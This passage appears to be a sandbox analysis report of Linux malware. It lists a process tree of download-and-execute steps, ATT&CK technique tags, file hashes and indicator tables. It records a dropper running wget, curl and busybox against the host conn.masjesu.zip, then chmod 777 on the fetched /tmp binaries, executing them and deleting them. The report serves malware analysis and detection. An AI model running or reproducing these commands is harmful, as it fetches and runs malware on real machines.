  - Executes dropped EXE
  PID:962
- /bin/rm
  rm bTsBfdj8HgcH3YhfpWja0vxBRYB5jh4J7n
  2⤵
  PID:963
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/LBCwiybFEIluTNQtF0k4tcAl1AmSdAt6eI
  2⤵
  - System Network Configuration Discovery
  PID:964
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/LBCwiybFEIluTNQtF0k4tcAl1AmSdAt6eI
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:965
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/LBCwiybFEIluTNQtF0k4tcAl1AmSdAt6eI
  2⤵
  PID:967
- /bin/chmod
  chmod 777 LBCwiybFEIluTNQtF0k4tcAl1AmSdAt6eI
  2⤵
  - File and Directory Permissions Modification
  PID:968
- /tmp/LBCwiybFEIluTNQtF0k4tcAl1AmSdAt6eI
  ./LBCwiybFEIluTNQtF0k4tcAl1AmSdAt6eI
  2⤵
  - Executes dropped EXE
  PID:969
- /bin/rm
  rm LBCwiybFEIluTNQtF0k4tcAl1AmSdAt6eI
  2⤵
  PID:970
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/vOCJnap6Y277W2IZum6Rc8aRPLlskBqBpZ
  2⤵
  - System Network Configuration Discovery
  PID:971
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/vOCJnap6Y277W2IZum6Rc8aRPLlskBqBpZ
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:972
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/vOCJnap6Y277W2IZum6Rc8aRPLlskBqBpZ
  2⤵
  - System Network Configuration Discovery
  PID:974
- /bin/chmod
  chmod 777 vOCJnap6Y277W2IZum6Rc8aRPLlskBqBpZ
  2⤵
  - File and Directory Permissions Modification
  PID:975
- /tmp/vOCJnap6Y277W2IZum6Rc8aRPLlskBqBpZ
  ./vOCJnap6Y277W2IZum6Rc8aRPLlskBqBpZ
  2⤵
  - Executes dropped EXE
  PID:976
- /bin/rm
  rm vOCJnap6Y277W2IZum6Rc8aRPLlskBqBpZ
  2⤵
  PID:977
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/hPxf5pxtJLAGj4Ceoz5fytPriytjxroAIX
  2⤵
  PID:978
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/hPxf5pxtJLAGj4Ceoz5fytPriytjxroAIX
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:979
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/hPxf5pxtJLAGj4Ceoz5fytPriytjxroAIX
  2⤵
  - System Network Configuration Discovery
  PID:981
- /bin/chmod
  chmod 777 hPxf5pxtJLAGj4Ceoz5fytPriytjxroAIX
  2⤵
  - File and Directory Permissions Modification
  PID:982
- /tmp/hPxf5pxtJLAGj4Ceoz5fytPriytjxroAIX
  ./hPxf5pxtJLAGj4Ceoz5fytPriytjxroAIX
  2⤵
  - Executes dropped EXE
  PID:983
- /bin/rm
  rm hPxf5pxtJLAGj4Ceoz5fytPriytjxroAIX
  2⤵
  PID:984
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/K4q1cANrycsDwBbY3JrPQctJAxPoYCcFnj
  2⤵
  - System Network Configuration Discovery
  PID:985
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/K4q1cANrycsDwBbY3JrPQctJAxPoYCcFnj
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:986
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/K4q1cANrycsDwBbY3JrPQctJAxPoYCcFnj
  2⤵
  PID:988
- /bin/chmod
  chmod 777 K4q1cANrycsDwBbY3JrPQctJAxPoYCcFnj
  2⤵
  - File and Directory Permissions Modification
  PID:989
- /tmp/K4q1cANrycsDwBbY3JrPQctJAxPoYCcFnj
  ./K4q1cANrycsDwBbY3JrPQctJAxPoYCcFnj
  2⤵
  - Executes dropped EXE
  PID:990
- /bin/rm
  rm K4q1cANrycsDwBbY3JrPQctJAxPoYCcFnj
  2⤵
  PID:991
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/L3JUvhPgN6h4MWBii3oJRILdFvuX154Uq1
  2⤵
  - System Network Configuration Discovery
  PID:992
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/L3JUvhPgN6h4MWBii3oJRILdFvuX154Uq1
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:993
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/L3JUvhPgN6h4MWBii3oJRILdFvuX154Uq1
  2⤵
  PID:995
- /bin/chmod
  chmod 777 L3JUvhPgN6h4MWBii3oJRILdFvuX154Uq1
  2⤵
  - File and Directory Permissions Modification
  PID:996
- /tmp/L3JUvhPgN6h4MWBii3oJRILdFvuX154Uq1
  ./L3JUvhPgN6h4MWBii3oJRILdFvuX154Uq1
  2⤵
  - Executes dropped EXE
  PID:997
- /bin/rm
  rm L3JUvhPgN6h4MWBii3oJRILdFvuX154Uq1
  2⤵
  PID:998
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/jTB5gNMwFumQ6eckYadMKE6aPgWSG9Akmt
  2⤵
  - System Network Configuration Discovery
  PID:999
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/jTB5gNMwFumQ6eckYadMKE6aPgWSG9Akmt
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1000
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/jTB5gNMwFumQ6eckYadMKE6aPgWSG9Akmt
  2⤵
  - System Network Configuration Discovery
  PID:1002
- /bin/chmod
  chmod 777 jTB5gNMwFumQ6eckYadMKE6aPgWSG9Akmt
  2⤵
  - File and Directory Permissions Modification
  PID:1003
- /tmp/jTB5gNMwFumQ6eckYadMKE6aPgWSG9Akmt
  ./jTB5gNMwFumQ6eckYadMKE6aPgWSG9Akmt
  2⤵
  - Executes dropped EXE
  PID:1004
- /bin/rm
  rm jTB5gNMwFumQ6eckYadMKE6aPgWSG9Akmt
  2⤵
  PID:1005

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

qLolJJd1pLGMibSaqC9JVDB2dFV5Xecmld

Path /tmp/qLolJJd1pLGMibSaqC9JVDB2dFV5Xecmld
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/qLolJJd1pLGMibSaqC9JVDB2dFV5Xecmld	736	qLolJJd1pLGMibSaqC9JVDB2dFV5Xecmld
/tmp/bTsBfdj8HgcH3YhfpWja0vxBRYB5jh4J7n	744	bTsBfdj8HgcH3YhfpWja0vxBRYB5jh4J7n
/tmp/9UuL6SX71am64Q4xveCMyLec0j2yaz2rGo	761	9UuL6SX71am64Q4xveCMyLec0j2yaz2rGo
/tmp/73NN5luFfi3X8R0fyKJXK5TvtrnB3ROtht	796	73NN5luFfi3X8R0fyKJXK5TvtrnB3ROtht
/tmp/hPxf5pxtJLAGj4Ceoz5fytPriytjxroAIX	810	hPxf5pxtJLAGj4Ceoz5fytPriytjxroAIX
/tmp/K4q1cANrycsDwBbY3JrPQctJAxPoYCcFnj	825	K4q1cANrycsDwBbY3JrPQctJAxPoYCcFnj
/tmp/LBCwiybFEIluTNQtF0k4tcAl1AmSdAt6eI	857	LBCwiybFEIluTNQtF0k4tcAl1AmSdAt6eI
/tmp/vOCJnap6Y277W2IZum6Rc8aRPLlskBqBpZ	864	vOCJnap6Y277W2IZum6Rc8aRPLlskBqBpZ
/tmp/L3JUvhPgN6h4MWBii3oJRILdFvuX154Uq1	871	L3JUvhPgN6h4MWBii3oJRILdFvuX154Uq1
/tmp/jTB5gNMwFumQ6eckYadMKE6aPgWSG9Akmt	878	jTB5gNMwFumQ6eckYadMKE6aPgWSG9Akmt
/tmp/1jC4kgKLuPs5kQaqqXCWJU0VwjmKkWvway	885	1jC4kgKLuPs5kQaqqXCWJU0VwjmKkWvway
/tmp/vvnP24wKfiiP7JM0IvONbSCoRArxwHFPm3	892	vvnP24wKfiiP7JM0IvONbSCoRArxwHFPm3
/tmp/8HG3vYk3sfUtbcH8KGgPhLdZbDm8iobhMc	899	8HG3vYk3sfUtbcH8KGgPhLdZbDm8iobhMc
/tmp/FTBOrM9pEI6Qt3B17nBFDDNWjB9umPIlu4	906	FTBOrM9pEI6Qt3B17nBFDDNWjB9umPIlu4
/tmp/8HG3vYk3sfUtbcH8KGgPhLdZbDm8iobhMc	913	8HG3vYk3sfUtbcH8KGgPhLdZbDm8iobhMc
/tmp/FTBOrM9pEI6Qt3B17nBFDDNWjB9umPIlu4	920	FTBOrM9pEI6Qt3B17nBFDDNWjB9umPIlu4
/tmp/1jC4kgKLuPs5kQaqqXCWJU0VwjmKkWvway	927	1jC4kgKLuPs5kQaqqXCWJU0VwjmKkWvway
/tmp/vvnP24wKfiiP7JM0IvONbSCoRArxwHFPm3	934	vvnP24wKfiiP7JM0IvONbSCoRArxwHFPm3
/tmp/9UuL6SX71am64Q4xveCMyLec0j2yaz2rGo	941	9UuL6SX71am64Q4xveCMyLec0j2yaz2rGo
/tmp/73NN5luFfi3X8R0fyKJXK5TvtrnB3ROtht	948	73NN5luFfi3X8R0fyKJXK5TvtrnB3ROtht
/tmp/qLolJJd1pLGMibSaqC9JVDB2dFV5Xecmld	955	qLolJJd1pLGMibSaqC9JVDB2dFV5Xecmld
/tmp/bTsBfdj8HgcH3YhfpWja0vxBRYB5jh4J7n	962	bTsBfdj8HgcH3YhfpWja0vxBRYB5jh4J7n
/tmp/LBCwiybFEIluTNQtF0k4tcAl1AmSdAt6eI	969	LBCwiybFEIluTNQtF0k4tcAl1AmSdAt6eI
/tmp/vOCJnap6Y277W2IZum6Rc8aRPLlskBqBpZ	976	vOCJnap6Y277W2IZum6Rc8aRPLlskBqBpZ
/tmp/hPxf5pxtJLAGj4Ceoz5fytPriytjxroAIX	983	hPxf5pxtJLAGj4Ceoz5fytPriytjxroAIX
/tmp/K4q1cANrycsDwBbY3JrPQctJAxPoYCcFnj	990	K4q1cANrycsDwBbY3JrPQctJAxPoYCcFnj
/tmp/L3JUvhPgN6h4MWBii3oJRILdFvuX154Uq1	997	L3JUvhPgN6h4MWBii3oJRILdFvuX154Uq1
/tmp/jTB5gNMwFumQ6eckYadMKE6aPgWSG9Akmt	1004	jTB5gNMwFumQ6eckYadMKE6aPgWSG9Akmt